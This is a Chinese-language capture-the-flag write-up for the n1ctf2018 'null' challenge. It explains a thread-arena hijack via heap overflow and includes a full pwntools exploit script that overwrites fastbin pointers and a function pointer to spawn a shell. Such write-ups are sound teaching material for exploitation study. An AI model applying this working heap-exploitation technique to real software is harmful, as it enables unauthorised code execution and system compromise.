n1ctf2018_null(通过劫持线程arena达到任意地址分配)
n1ctf2018_null(通过劫持线程arena达到任意地址分配)首先,检查一下程序的保护机制然后,我们用IDA分析一下,主函数启动了一个线程在线程里,是一个循环其中输入函数存在溢出,由于a2没有更新,因此,如果将数据分成2部分读入的话,第二次,仍然可以读入a2个数据,从而溢出。溢出尺寸比较大,如果能够覆盖到线程arena,那么就能将fake_chunk链接到fastbin,进而分配过去。但是
n1ctf2018_null(通过劫持线程arena达到任意地址分配)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,主函数启动了一个线程
在线程里,是一个循环
其中输入函数存在溢出,由于a2没有更新,因此,如果将数据分成2部分读入的话,第二次,仍然可以读入a2个数据,从而溢出。
溢出尺寸比较大,如果能够覆盖到线程arena,那么就能将fake_chunk链接到fastbin,进而分配过去。但是arena是先mmap出来的,heap是过后才分配出来,因此,线程heap的地址比arena的地址要高。为了能够让heap地址处在arena前方,我们得先耗尽当前的heap空间,这样系统就可以重新mmap一块新内存,就可能会出现在arena前方。
首先,查看一下内存映射
我们看看0x7efcec000000处的内容,从链表特征上来看,这是一个线程arena结构,它位于地址较低的地方
我们来看看后方的内容
可见,我们的堆在arena的后方,假如我们耗尽这些堆空间,我们再看看
我们查看一下内容,此处是arena
而它前面是新mmap的heap空间,因此,我们只需要继续malloc,直接正好接近arena,我们溢出,覆盖arena,修改fastbin,将fake_chunk链接上去。
#coding:utf8
from pwn import *
sh = process('./n1ctf2018_null')
#sh = remote('node3.buuoj.cn',26808)
elf = ELF('./n1ctf2018_null')
system_plt = elf.plt['system']
sh.sendlineafter('password:',"i'm ready for challenge")
def add(size,n,content=''):
sh.sendlineafter('Action:','1')
sh.sendlineafter('Size:',str(size))
sh.sendlineafter('Pad blocks:',str(n))
if content == '':
sh.sendlineafter('Content? (0/1):','0')
else:
sh.sendlineafter('Content? (0/1):','1')
sh.sendafter('Input:',content)
for i in range(12):
add(0x4000,1000)
add(0x4000,262,'0'*0x3FF0)
#溢出,修改thread_arena,将bss上的fake_chunk接到fastbin里
payload = '1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
sh.send(payload)
sleep(0.2)
payload = '/bin/sh'.ljust(0xB,'\x00') + p64(system_plt)
payload = payload.ljust(0x60,'b')
add(0x60,0,payload) #申请到bss上,修改函数指针,getshell
sh.interactive()
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)